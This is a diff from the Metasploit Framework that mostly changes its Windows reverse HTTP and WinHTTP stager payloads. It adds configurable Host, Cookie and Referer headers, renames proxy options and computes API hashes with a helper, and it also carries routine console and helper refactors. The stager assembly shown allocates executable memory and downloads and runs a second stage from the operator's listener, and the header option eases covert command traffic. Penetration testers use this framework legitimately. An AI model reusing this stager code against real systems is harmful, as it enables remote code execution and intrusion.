@ -345,7 +372,7 @@ module Payload::Windows::ReverseHttp
|
||||
push eax ; &dwFlags
|
||||
push 31 ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS)
|
||||
push esi ; hHttpRequest
|
||||
push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" )
|
||||
push #{Rex::Text.block_api_hash('wininet.dll', 'InternetSetOptionA')}
|
||||
call ebp
|
||||
^
|
||||
end
|
||||
@ -354,17 +381,32 @@ module Payload::Windows::ReverseHttp
|
||||
httpsendrequest:
|
||||
push ebx ; lpOptional length (0)
|
||||
push ebx ; lpOptional (NULL)
|
||||
push ebx ; dwHeadersLength (0)
|
||||
push ebx ; lpszHeaders (NULL)
|
||||
^
|
||||
|
||||
if custom_headers
|
||||
asm << %Q^
|
||||
push -1 ; dwHeadersLength (assume NULL terminated)
|
||||
call get_req_headers ; lpszHeaders (pointer to the custom headers)
|
||||
db #{custom_headers}
|
||||
get_req_headers:
|
||||
^
|
||||
else
|
||||
asm << %Q^
|
||||
push ebx ; HeadersLength (0)
|
||||
push ebx ; Headers (NULL)
|
||||
^
|
||||
end
|
||||
|
||||
asm << %Q^
|
||||
push esi ; hHttpRequest
|
||||
push 0x7B18062D ; hash( "wininet.dll", "HttpSendRequestA" )
|
||||
push #{Rex::Text.block_api_hash('wininet.dll', 'HttpSendRequestA')}
|
||||
call ebp
|
||||
test eax,eax
|
||||
jnz allocate_memory
|
||||
|
||||
set_wait:
|
||||
push #{retry_wait} ; dwMilliseconds
|
||||
push 0xE035F044 ; hash( "kernel32.dll", "Sleep" )
|
||||
push #{Rex::Text.block_api_hash('kernel32.dll', 'Sleep')}
|
||||
call ebp ; Sleep( dwMilliseconds );
|
||||
^
|
||||
|
||||
@ -404,7 +446,7 @@ module Payload::Windows::ReverseHttp
|
||||
push 0x1000 ; MEM_COMMIT
|
||||
push 0x00400000 ; Stage allocation (4Mb ought to do us)
|
||||
push ebx ; NULL as we dont care where the allocation is
|
||||
push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
|
||||
push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')}
|
||||
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
|
||||
|
||||
download_prep:
|
||||
@ -418,7 +460,7 @@ module Payload::Windows::ReverseHttp
|
||||
push 8192 ; read length
|
||||
push ebx ; buffer
|
||||
push esi ; hRequest
|
||||
push 0xE2899612 ; hash( "wininet.dll", "InternetReadFile" )
|
||||
push #{Rex::Text.block_api_hash('wininet.dll', 'InternetReadFile')}
|
||||
call ebp
|
||||
|
||||
test eax,eax ; download failed? (optional?)
|
||||
|
@ -21,7 +21,7 @@ module Payload::Windows::ReverseWinHttp
|
||||
def initialize(*args)
|
||||
super
|
||||
register_advanced_options([
|
||||
OptBool.new('PayloadProxyIE', [false, 'Enable use of IE proxy settings', true])
|
||||
OptBool.new('HttpProxyIE', 'Enable use of IE proxy settings', default: true, aliases: ['PayloadProxyIE'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
@ -29,24 +29,26 @@ module Payload::Windows::ReverseWinHttp
|
||||
# Generate the first stage
|
||||
#
|
||||
def generate(opts={})
|
||||
ds = opts[:datastore] || datastore
|
||||
conf = {
|
||||
ssl: opts[:ssl] || false,
|
||||
host: datastore['LHOST'] || '127.127.127.127',
|
||||
port: datastore['LPORT']
|
||||
ssl: opts[:ssl] || false,
|
||||
host: ds['LHOST'] || '127.127.127.127',
|
||||
port: ds['LPORT']
|
||||
}
|
||||
|
||||
# Add extra options if we have enough space
|
||||
if self.available_space && required_space <= self.available_space
|
||||
if self.available_space.nil? || required_space <= self.available_space
|
||||
conf[:uri] = luri + generate_uri
|
||||
conf[:exitfunk] = datastore['EXITFUNC']
|
||||
conf[:exitfunk] = ds['EXITFUNC']
|
||||
conf[:verify_cert_hash] = opts[:verify_cert_hash]
|
||||
conf[:proxy_host] = datastore['PayloadProxyHost']
|
||||
conf[:proxy_port] = datastore['PayloadProxyPort']
|
||||
conf[:proxy_user] = datastore['PayloadProxyUser']
|
||||
conf[:proxy_pass] = datastore['PayloadProxyPass']
|
||||
conf[:proxy_type] = datastore['PayloadProxyType']
|
||||
conf[:retry_count] = datastore['StagerRetryCount']
|
||||
conf[:proxy_ie] = datastore['PayloadProxyIE']
|
||||
conf[:proxy_host] = ds['HttpProxyHost']
|
||||
conf[:proxy_port] = ds['HttpProxyPort']
|
||||
conf[:proxy_user] = ds['HttpProxyUser']
|
||||
conf[:proxy_pass] = ds['HttpProxyPass']
|
||||
conf[:proxy_type] = ds['HttpProxyType']
|
||||
conf[:retry_count] = ds['StagerRetryCount']
|
||||
conf[:proxy_ie] = ds['HttpProxyIE']
|
||||
conf[:custom_headers] = get_custom_headers(ds)
|
||||
else
|
||||
# Otherwise default to small URIs
|
||||
conf[:uri] = luri + generate_small_uri
|
||||
@ -93,6 +95,9 @@ module Payload::Windows::ReverseWinHttp
|
||||
# EXITFUNK processing adds 31 bytes at most (for ExitThread, only ~16 for others)
|
||||
space += 31
|
||||
|
||||
# Custom headers? Ugh, impossible to tell
|
||||
space += 512 * 2
|
||||
|
||||
# The final estimated size
|
||||
space
|
||||
end
|
||||
@ -167,6 +172,8 @@ module Payload::Windows::ReverseWinHttp
|
||||
proxy_user = opts[:proxy_user].to_s.length == 0 ? nil : asm_generate_wchar_array(opts[:proxy_user])
|
||||
proxy_pass = opts[:proxy_pass].to_s.length == 0 ? nil : asm_generate_wchar_array(opts[:proxy_pass])
|
||||
|
||||
custom_headers = opts[:custom_headers].to_s.length == 0 ? nil : asm_generate_wchar_array(opts[:custom_headers])
|
||||
|
||||
http_open_flags = 0
|
||||
secure_flags = 0
|
||||
|
||||
@ -434,8 +441,23 @@ module Payload::Windows::ReverseWinHttp
|
||||
push ebx ; TotalLength [6]
|
||||
push ebx ; OptionalLength (0) [5]
|
||||
push ebx ; Optional (NULL) [4]
|
||||
^
|
||||
|
||||
if custom_headers
|
||||
asm << %Q^
|
||||
push -1 ; dwHeadersLength (assume NULL terminated) [3]
|
||||
call get_req_headers ; lpszHeaders (pointer to the custom headers) [2]
|
||||
db #{custom_headers}
|
||||
get_req_headers:
|
||||
^
|
||||
else
|
||||
asm << %Q^
|
||||
push ebx ; HeadersLength (0) [3]
|
||||
push ebx ; Headers (NULL) [2]
|
||||
^
|
||||
end
|
||||
|
||||
asm << %Q^
|
||||
push esi ; HttpRequest handle returned by WinHttpOpenRequest [1]
|
||||
push #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpSendRequest')}
|
||||
call ebp
|
||||
|
@ -27,17 +27,12 @@ module Payload::Windows::ReverseHttp_x64
|
||||
#
|
||||
def initialize(*args)
|
||||
super
|
||||
register_advanced_options([
|
||||
OptInt.new('StagerURILength', [false, 'The URI length for the stager (at least 5 bytes)']),
|
||||
OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails', 10],
|
||||
aliases: ['ReverseConnectRetries']),
|
||||
OptInt.new('StagerRetryWait', [false, 'Number of seconds to wait for the stager between reconnect attempts', 5]),
|
||||
OptString.new('PayloadProxyHost', [false, 'An optional proxy server IP address or hostname']),
|
||||
OptPort.new('PayloadProxyPort', [false, 'An optional proxy server port']),
|
||||
OptString.new('PayloadProxyUser', [false, 'An optional proxy server username']),
|
||||
OptString.new('PayloadProxyPass', [false, 'An optional proxy server password']),
|
||||
OptEnum.new('PayloadProxyType', [false, 'The type of HTTP proxy (HTTP or SOCKS)', 'HTTP', ['HTTP', 'SOCKS']])
|
||||
], self.class)
|
||||
register_advanced_options(
|
||||
[ OptInt.new('StagerURILength', 'The URI length for the stager (at least 5 bytes)') ] +
|
||||
Msf::Opt::stager_retry_options +
|
||||
Msf::Opt::http_header_options +
|
||||
Msf::Opt::http_proxy_options
|
||||
)
|
||||
end
|
||||
|
||||
def transport_config(opts={})
|
||||
@ -52,22 +47,23 @@ module Payload::Windows::ReverseHttp_x64
|
||||
|
||||
conf = {
|
||||
ssl: opts[:ssl] || false,
|
||||
host: ds['LHOST'],
|
||||
host: ds['LHOST'] || '127.127.127.127',
|
||||
port: ds['LPORT'],
|
||||
retry_count: ds['StagerRetryCount'],
|
||||
retry_wait: ds['StagerRetryWait']
|
||||
retry_wait: ds['StagerRetryWait']
|
||||
}
|
||||
|
||||
# add extended options if we do have enough space
|
||||
if self.available_space && required_space <= self.available_space
|
||||
if self.available_space.nil? || required_space <= self.available_space
|
||||
conf[:url] = luri + generate_uri(opts)
|
||||
conf[:exitfunk] = ds['EXITFUNC']
|
||||
conf[:ua] = ds['MeterpreterUserAgent']
|
||||
conf[:proxy_host] = ds['PayloadProxyHost']
|
||||
conf[:proxy_port] = ds['PayloadProxyPort']
|
||||
conf[:proxy_user] = ds['PayloadProxyUser']
|
||||
conf[:proxy_pass] = ds['PayloadProxyPass']
|
||||
conf[:proxy_type] = ds['PayloadProxyType']
|
||||
conf[:ua] = ds['HttpUserAgent']
|
||||
conf[:proxy_host] = ds['HttpProxyHost']
|
||||
conf[:proxy_port] = ds['HttpProxyPort']
|
||||
conf[:proxy_user] = ds['HttpProxyUser']
|
||||
conf[:proxy_pass] = ds['HttpProxyPass']
|
||||
conf[:proxy_type] = ds['HttpProxyType']
|
||||
conf[:custom_headers] = get_custom_headers(ds)
|
||||
else
|
||||
# Otherwise default to small URIs
|
||||
conf[:url] = luri + generate_small_uri
|
||||
@ -76,6 +72,22 @@ module Payload::Windows::ReverseHttp_x64
|
||||
generate_reverse_http(conf)
|
||||
end
|
||||
|
||||
#
|
||||
# Generate the custom headers string
|
||||
#
|
||||
def get_custom_headers(ds)
|
||||
headers = ""
|
||||
headers << "Host: #{ds['HttpHostHeader']}\r\n" if ds['HttpHostHeader']
|
||||
headers << "Cookie: #{ds['HttpCookie']}\r\n" if ds['HttpCookie']
|
||||
headers << "Referer: #{ds['HttpReferer']}\r\n" if ds['HttpReferer']
|
||||
|
||||
if headers.length > 0
|
||||
headers
|
||||
else
|
||||
nil
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Generate and compile the stager
|
||||
#
|
||||
@ -89,6 +101,7 @@ module Payload::Windows::ReverseHttp_x64
|
||||
pop rbp ; rbp now contains the block API pointer
|
||||
#{asm_reverse_http(opts)}
|
||||
^
|
||||
|
||||
Metasm::Shellcode.assemble(Metasm::X64.new, combined_asm).encode_string
|
||||
end
|
||||
|
||||
@ -137,10 +150,23 @@ module Payload::Windows::ReverseHttp_x64
|
||||
# Proxy options?
|
||||
space += 200
|
||||
|
||||
# Custom headers? Ugh, impossible to tell
|
||||
space += 512
|
||||
|
||||
# The final estimated size
|
||||
space
|
||||
end
|
||||
|
||||
#
|
||||
# Convert a string into a NULL-terminated ASCII byte array
|
||||
#
|
||||
def asm_generate_ascii_array(str)
|
||||
(str.to_s + "\x00").
|
||||
unpack("C*").
|
||||
map{ |c| "0x%.2x" % c }.
|
||||
join(",")
|
||||
end
|
||||
|
||||
#
|
||||
# Generate an assembly stub with the configured feature set and options.
|
||||
#
|
||||
@ -154,6 +180,7 @@ module Payload::Windows::ReverseHttp_x64
|
||||
# @option opts [String] :proxy_type The optional proxy server type, one of HTTP or SOCKS
|
||||
# @option opts [String] :proxy_user The optional proxy server username
|
||||
# @option opts [String] :proxy_pass The optional proxy server password
|
||||
# @option opts [String] :custom_headers The optional collection of custom headers for the payload.
|
||||
# @option opts [Integer] :retry_count The number of times to retry a failed request before giving up
|
||||
# @option opts [Integer] :retry_wait The seconds to wait before retry a new request
|
||||
#
|
||||
@ -180,6 +207,8 @@ module Payload::Windows::ReverseHttp_x64
|
||||
proxy_user = opts[:proxy_user].to_s.length == 0 ? nil : opts[:proxy_user]
|
||||
proxy_pass = opts[:proxy_pass].to_s.length == 0 ? nil : opts[:proxy_pass]
|
||||
|
||||
custom_headers = opts[:custom_headers].to_s.length == 0 ? nil : asm_generate_ascii_array(opts[:custom_headers])
|
||||
|
||||
http_open_flags = 0
|
||||
set_option_flags = 0
|
||||
|
||||
@ -327,17 +356,15 @@ module Payload::Windows::ReverseHttp_x64
|
||||
|
||||
if retry_count > 0
|
||||
asm << %Q^
|
||||
push #{retry_count}
|
||||
pop rdi
|
||||
push #{retry_count}
|
||||
pop rdi
|
||||
^
|
||||
end
|
||||
|
||||
|
||||
asm << %Q^
|
||||
retryrequest:
|
||||
^
|
||||
|
||||
|
||||
if opts[:ssl]
|
||||
asm << %Q^
|
||||
internetsetoption:
|
||||
@ -351,15 +378,30 @@ module Payload::Windows::ReverseHttp_x64
|
||||
pop r9 ; dwBufferLength (4 = size of flags)
|
||||
mov r10, #{Rex::Text.block_api_hash('wininet.dll', 'InternetSetOptionA')}
|
||||
call rbp
|
||||
|
||||
xor r8, r8 ; dwHeadersLen (0)
|
||||
^
|
||||
end
|
||||
|
||||
asm << %Q^
|
||||
httpsendrequest:
|
||||
mov rcx, rsi ; hRequest (request handle)
|
||||
if custom_headers
|
||||
asm << %Q^
|
||||
call get_req_headers ; lpszHeaders (pointer to the custom headers)
|
||||
db #{custom_headers}
|
||||
get_req_headers:
|
||||
pop rdx ; lpszHeaders
|
||||
dec r8 ; dwHeadersLength (assume NULL terminated)
|
||||
^
|
||||
else
|
||||
asm << %Q^
|
||||
push rbx
|
||||
pop rdx ; lpszHeaders (NULL)
|
||||
xor r8, r8 ; dwHeadersLen (0)
|
||||
^
|
||||
end
|
||||
|
||||
|
||||
asm << %Q^
|
||||
mov rcx, rsi ; hRequest (request handle)
|
||||
xor r9, r9 ; lpszVersion (NULL)
|
||||
xor r9, r9 ; lpszVersion (NULL)
|
||||
push rbx ; stack alignment
|
||||
push rbx ; dwOptionalLength (0)
|
||||
|
@ -22,7 +22,7 @@ module Payload::Windows::ReverseWinHttp_x64
|
||||
def initialize(*args)
|
||||
super
|
||||
register_advanced_options([
|
||||
OptBool.new('PayloadProxyIE', [false, 'Enable use of IE proxy settings', true])
|
||||
OptBool.new('HttpProxyIE', 'Enable use of IE proxy settings', default: true, aliases: ['PayloadProxyIE'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
@ -30,24 +30,26 @@ module Payload::Windows::ReverseWinHttp_x64
|
||||
# Generate the first stage
|
||||
#
|
||||
def generate(opts={})
|
||||
ds = opts[:datastore] || datastore
|
||||
conf = {
|
||||
ssl: opts[:ssl] || false,
|
||||
host: datastore['LHOST'] || '127.127.127.127',
|
||||
port: datastore['LPORT']
|
||||
ssl: opts[:ssl] || false,
|
||||
host: ds['LHOST'] || '127.127.127.127',
|
||||
port: ds['LPORT']
|
||||
}
|
||||
|
||||
# Add extra options if we have enough space
|
||||
if self.available_space && required_space <= self.available_space
|
||||
if self.available_space.nil? || required_space <= self.available_space
|
||||
conf[:uri] = luri + generate_uri
|
||||
conf[:exitfunk] = datastore['EXITFUNC']
|
||||
conf[:exitfunk] = ds['EXITFUNC']
|
||||
conf[:verify_cert_hash] = opts[:verify_cert_hash]
|
||||
conf[:proxy_host] = datastore['PayloadProxyHost']
|
||||
conf[:proxy_port] = datastore['PayloadProxyPort']
|
||||
conf[:proxy_user] = datastore['PayloadProxyUser']
|
||||
conf[:proxy_pass] = datastore['PayloadProxyPass']
|
||||
conf[:proxy_type] = datastore['PayloadProxyType']
|
||||
conf[:retry_count] = datastore['StagerRetryCount']
|
||||
conf[:proxy_ie] = datastore['PayloadProxyIE']
|
||||
conf[:proxy_host] = ds['HttpProxyHost']
|
||||
conf[:proxy_port] = ds['HttpProxyPort']
|
||||
conf[:proxy_user] = ds['HttpProxyUser']
|
||||
conf[:proxy_pass] = ds['HttpProxyPass']
|
||||
conf[:proxy_type] = ds['HttpProxyType']
|
||||
conf[:retry_count] = ds['StagerRetryCount']
|
||||
conf[:proxy_ie] = ds['HttpProxyIE']
|
||||
conf[:custom_headers] = get_custom_headers(ds)
|
||||
else
|
||||
# Otherwise default to small URIs
|
||||
conf[:uri] = luri + generate_small_uri
|
||||
@ -95,6 +97,9 @@ module Payload::Windows::ReverseWinHttp_x64
|
||||
# EXITFUNK processing adds 31 bytes at most (for ExitThread, only ~16 for others)
|
||||
space += 31
|
||||
|
||||
# Custom headers? Ugh, impossible to tell
|
||||
space += 512
|
||||
|
||||
# The final estimated size
|
||||
space
|
||||
end
|
||||
@ -115,12 +120,18 @@ module Payload::Windows::ReverseWinHttp_x64
|
||||
# Generate an assembly stub with the configured feature set and options.
|
||||
#
|
||||
# @option opts [Bool] :ssl Whether or not to enable SSL
|
||||
# @option opts [String] :uri The URI to request during staging
|
||||
# @option opts [String] :url The URI to request during staging
|
||||
# @option opts [String] :host The host to connect to
|
||||
# @option opts [Integer] :port The port to connect to
|
||||
# @option opts [String] :verify_cert_hash A 20-byte raw SHA-1 hash of the certificate to verify, or nil
|
||||
# @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh
|
||||
# @option opts [String] :proxy_host The optional proxy server host to use
|
||||
# @option opts [Integer] :proxy_port The optional proxy server port to use
|
||||
# @option opts [String] :proxy_type The optional proxy server type, one of HTTP or SOCKS
|
||||
# @option opts [String] :proxy_user The optional proxy server username
|
||||
# @option opts [String] :proxy_pass The optional proxy server password
|
||||
# @option opts [String] :custom_headers The optional collection of custom headers for the payload.
|
||||
# @option opts [Integer] :retry_count The number of times to retry a failed request before giving up
|
||||
# @option opts [Integer] :retry_wait The seconds to wait before retry a new request
|
||||
#
|
||||
def asm_reverse_winhttp(opts={})
|
||||
|
||||
@ -169,6 +180,8 @@ module Payload::Windows::ReverseWinHttp_x64
|
||||
proxy_user = opts[:proxy_user].to_s.length == 0 ? nil : asm_generate_wchar_array(opts[:proxy_user])
|
||||
proxy_pass = opts[:proxy_pass].to_s.length == 0 ? nil : asm_generate_wchar_array(opts[:proxy_pass])
|
||||
|
||||
custom_headers = opts[:custom_headers].to_s.length == 0 ? nil : asm_generate_wchar_array(opts[:custom_headers])
|
||||
|
||||
http_open_flags = 0x00000100 # WINHTTP_FLAG_BYPASS_PROXY_CACHE
|
||||
secure_flags = (
|
||||
0x00002000 | # SECURITY_FLAG_IGNORE_CERT_DATE_INVALID
|
||||
@ -431,15 +444,29 @@ module Payload::Windows::ReverseWinHttp_x64
|
||||
pop r9 ; dwBufferLength (4 = size of flags)
|
||||
mov r10, #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpSetOption')} ; WinHttpSetOption
|
||||
call rbp
|
||||
|
||||
xor r8, r8 ; dwHeadersLen (0)
|
||||
^
|
||||
end
|
||||
|
||||
asm << %Q^
|
||||
winhttpsendrequest:
|
||||
mov rcx, rsi ; hRequest (request handle)
|
||||
if custom_headers
|
||||
asm << %Q^
|
||||
call get_req_headers ; lpszHeaders (pointer to the custom headers)
|
||||
db #{custom_headers}
|
||||
get_req_headers:
|
||||
pop rdx ; lpszHeaders
|
||||
dec r8 ; dwHeadersLength (assume NULL terminated)
|
||||
^
|
||||
else
|
||||
asm << %Q^
|
||||
push rbx
|
||||
pop rdx ; lpszHeaders (NULL)
|
||||
xor r8, r8 ; dwHeadersLen (0)
|
||||
^
|
||||
end
|
||||
|
||||
|
||||
asm << %Q^
|
||||
mov rcx, rsi ; hRequest (request handle)
|
||||
xor r9, r9 ; lpszVersion (NULL)
|
||||
push rbx ; stack alignment
|
||||
push rbx ; dwContext (0)
|
||||
|
@ -298,7 +298,7 @@ module Msf
|
||||
# @return [String] Java payload as a JAR or WAR file
|
||||
def generate_java_payload
|
||||
payload_module = framework.payloads.create(payload)
|
||||
payload_module.datastore.merge!(datastore)
|
||||
payload_module.datastore.import_options_from_hash(datastore)
|
||||
case format
|
||||
when "raw", "jar"
|
||||
if payload_module.respond_to? :generate_jar
|
||||
|
@ -119,7 +119,7 @@ module LDAP
|
||||
domain ||= get_domain
|
||||
|
||||
if domain.blank?
|
||||
raise RuntimeError, "Unable to find the domain to query."
|
||||
raise "Unable to find the domain to query."
|
||||
end
|
||||
|
||||
if load_extapi
|
||||
@ -338,7 +338,7 @@ module LDAP
|
||||
init_result = wldap32.ldap_sslinitA(domain, 389, 0)
|
||||
session_handle = init_result['return']
|
||||
if session_handle == 0
|
||||
raise RuntimeError.new("Unable to initialize ldap server: #{init_result["ErrorMessage"]}")
|
||||
raise "Unable to initialize ldap server: #{init_result["ErrorMessage"]}"
|
||||
end
|
||||
|
||||
vprint_status("LDAP Handle: #{session_handle}")
|
||||
@ -352,7 +352,7 @@ module LDAP
|
||||
bind = bind_result['return']
|
||||
unless bind == 0
|
||||
wldap32.ldap_unbind(session_handle)
|
||||
raise RuntimeError.new("Unable to bind to ldap server: #{ERROR_CODE_TO_CONSTANT[bind]}")
|
||||
raise "Unable to bind to ldap server: #{ERROR_CODE_TO_CONSTANT[bind]}"
|
||||
end
|
||||
|
||||
if (block_given?)
|
||||
|
@ -78,7 +78,7 @@ module Services
|
||||
# );
|
||||
manag = advapi32.OpenSCManagerA(machine_str,nil,access)
|
||||
if (manag["return"] == 0)
|
||||
raise RuntimeError.new("Unable to open service manager: #{manag["ErrorMessage"]}")
|
||||
raise "Unable to open service manager: #{manag["ErrorMessage"]}"
|
||||
end
|
||||
|
||||
if (block_given?)
|
||||
@ -115,7 +115,7 @@ module Services
|
||||
def open_service_handle(manager, name, access)
|
||||
handle = advapi32.OpenServiceA(manager, name, access)
|
||||
if (handle["return"] == 0)
|
||||
raise RuntimeError.new("Could not open service. OpenServiceA error: #{handle["ErrorMessage"]}")
|
||||
raise "Could not open service. OpenServiceA error: #{handle["ErrorMessage"]}"
|
||||
end
|
||||
|
||||
if (block_given?)
|
||||
@ -267,7 +267,7 @@ module Services
|
||||
when "manual" then startup_number = START_TYPE_MANUAL
|
||||
when "disable" then startup_number = START_TYPE_DISABLED
|
||||
else
|
||||
raise RuntimeError, "Invalid Startup Mode: #{mode}"
|
||||
raise "Invalid Startup Mode: #{mode}"
|
||||
end
|
||||
end
|
||||
|
||||
@ -453,7 +453,7 @@ module Services
|
||||
status = advapi32.QueryServiceStatus(service_handle,28)
|
||||
|
||||
if (status["return"] == 0)
|
||||
raise RuntimeError.new("Could not query service. QueryServiceStatus error: #{status["ErrorMessage"]}")
|
||||
raise "Could not query service. QueryServiceStatus error: #{status["ErrorMessage"]}"
|
||||
else
|
||||
ret = parse_service_status_struct(status['lpServiceStatus'])
|
||||
end
|
||||
@ -485,7 +485,7 @@ module Services
|
||||
vprint_good("[#{name}] Service started")
|
||||
return true
|
||||
else
|
||||
raise RuntimeError, status
|
||||
raise status
|
||||
end
|
||||
rescue RuntimeError => s
|
||||
if tried
|
||||
|
@ -1,28 +0,0 @@
|
||||
# -*- coding: binary -*-
|
||||
#
|
||||
# Provides some sanity checks against the ruby build and version
|
||||
#
|
||||
|
||||
if(RUBY_PLATFORM == 'java')
|
||||
require 'socket'
|
||||
s = Socket.new(::Socket::AF_INET, ::Socket::SOCK_STREAM, ::Socket::IPPROTO_TCP)
|
||||
if(not s.respond_to?('bind'))
|
||||
$stderr.puts "*** JRuby 1.5.0+ is required to use Metasploit with jRuby"
|
||||
exit(0)
|
||||
end
|
||||
|
||||
$stderr.puts "*** Warning: JRuby support is still incomplete, few things will work properly!"
|
||||
trap Signal::list['INT'] do
|
||||
Thread.main.raise Interrupt.new
|
||||
end
|
||||
|
||||
s.close
|
||||
end
|
||||
|
||||
# Check for OpenSSL and print a warning if it is not installed
|
||||
begin
|
||||
require 'openssl'
|
||||
rescue ::LoadError
|
||||
$stderr.puts "*** The ruby-openssl library is not installed, many features will be disabled!"
|
||||
$stderr.puts "*** Examples: Meterpreter, SSL Sockets, SMB/NTLM Authentication, and more"
|
||||
end
|
@ -1107,7 +1107,7 @@ class Core
|
||||
if active_module
|
||||
# intentionally += and not << because we don't want to modify
|
||||
# datastore or the constant DefaultPrompt
|
||||
prompt += " #{active_module.type}(%bld%red#{active_module.shortname}%clr)"
|
||||
prompt += " #{active_module.type}(%bld%red#{active_module.promptname}%clr)"
|
||||
end
|
||||
prompt_char = framework.datastore['PromptChar'] || Msf::Ui::Console::Driver::DefaultPromptChar
|
||||
driver.update_prompt("#{prompt} ", prompt_char, true)
|
||||
@ -2198,16 +2198,7 @@ class Core
|
||||
if rh and not rh.empty?
|
||||
res << Rex::Socket.source_address(rh)
|
||||
else
|
||||
res << Rex::Socket.source_address
|
||||
# getifaddrs was introduced in 2.1.2
|
||||
if Socket.respond_to?(:getifaddrs)
|
||||
ifaddrs = Socket.getifaddrs.find_all do |ifaddr|
|
||||
((ifaddr.flags & Socket::IFF_LOOPBACK) == 0) &&
|
||||
ifaddr.addr &&
|
||||
ifaddr.addr.ip?
|
||||
end
|
||||
res += ifaddrs.map { |ifaddr| ifaddr.addr.ip_address }
|
||||
end
|
||||
res += tab_complete_source_address
|
||||
end
|
||||
else
|
||||
end
|
||||
|
@ -354,6 +354,8 @@ class Db
|
||||
end
|
||||
end
|
||||
|
||||
@@hosts_columns = [ 'address', 'mac', 'name', 'os_name', 'os_flavor', 'os_sp', 'purpose', 'info', 'comments']
|
||||
|
||||
def cmd_hosts(*args)
|
||||
return unless active?
|
||||
::ActiveRecord::Base.connection_pool.with_connection {
|
||||
@ -371,7 +373,7 @@ class Db
|
||||
default_columns << 'tags' # Special case
|
||||
virtual_columns = [ 'svcs', 'vulns', 'workspace', 'tags' ]
|
||||
|
||||
col_search = [ 'address', 'mac', 'name', 'os_name', 'os_flavor', 'os_sp', 'purpose', 'info', 'comments']
|
||||
col_search = @@hosts_columns
|
||||
|
||||
default_columns.delete_if {|v| (v[-2,2] == "id")}
|
||||
while (arg = args.shift)
|
||||
@ -380,7 +382,7 @@ class Db
|
||||
mode << :add
|
||||
when '-d','--delete'
|
||||
mode << :delete
|
||||
when '-c'
|
||||
when '-c','-C'
|
||||
list = args.shift
|
||||
if(!list)
|
||||
print_error("Invalid column list")
|
||||
@ -394,6 +396,10 @@ class Db
|
||||
return
|
||||
end
|
||||
}
|
||||
if (arg == '-C')
|
||||
@@hosts_columns = col_search
|
||||
end
|
||||
|
||||
when '-u','--up'
|
||||
onlyup = true
|
||||
when '-o'
|
||||
@ -426,6 +432,7 @@ class Db
|
||||
print_line " -a,--add Add the hosts instead of searching"
|
||||
print_line " -d,--delete Delete the hosts instead of searching"
|
||||
print_line " -c <col1,col2> Only show the given columns (see list below)"
|
||||
print_line " -C <col1,col2> Only show the given columns until the next restart (see list below)"
|
||||
print_line " -h,--help Show this help information"
|
||||
print_line " -u,--up Only show hosts which are up"
|
||||
print_line " -o <file> Send output to a file in csv format"
|
||||
@ -1826,6 +1833,8 @@ class Db
|
||||
if (path)
|
||||
auth, dest = path.split('@')
|
||||
(dest = auth and auth = nil) if not dest
|
||||
# remove optional scheme in database url
|
||||
auth = auth.sub(/^\w+:\/\//, "") if auth
|
||||
res[:user],res[:pass] = auth.split(':') if auth
|
||||
targ,name = dest.split('/')
|
||||
(name = targ and targ = nil) if not name
|
||||
|
@ -164,6 +164,21 @@ class Exploit
|
||||
end
|
||||
end
|
||||
|
||||
def cmd_exploit_tabs(str, words)
|
||||
fmt = {
|
||||
'-e' => [ framework.encoders.map { |refname, mod| refname } ],
|
||||
'-f' => [ nil ],
|
||||
'-h' => [ nil ],
|
||||
'-j' => [ nil ],
|
||||
'-n' => [ framework.nops.map { |refname, mod| refname } ],
|
||||
'-o' => [ true ],
|
||||
'-p' => [ framework.payloads.map { |refname, mod| refname } ],
|
||||
'-t' => [ true ],
|
||||
'-z' => [ nil ]
|
||||
}
|
||||
tab_complete_generic(fmt, str, words)
|
||||
end
|
||||
|
||||
alias cmd_run cmd_exploit
|
||||
|
||||
def cmd_exploit_help
|
||||
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue
Block a user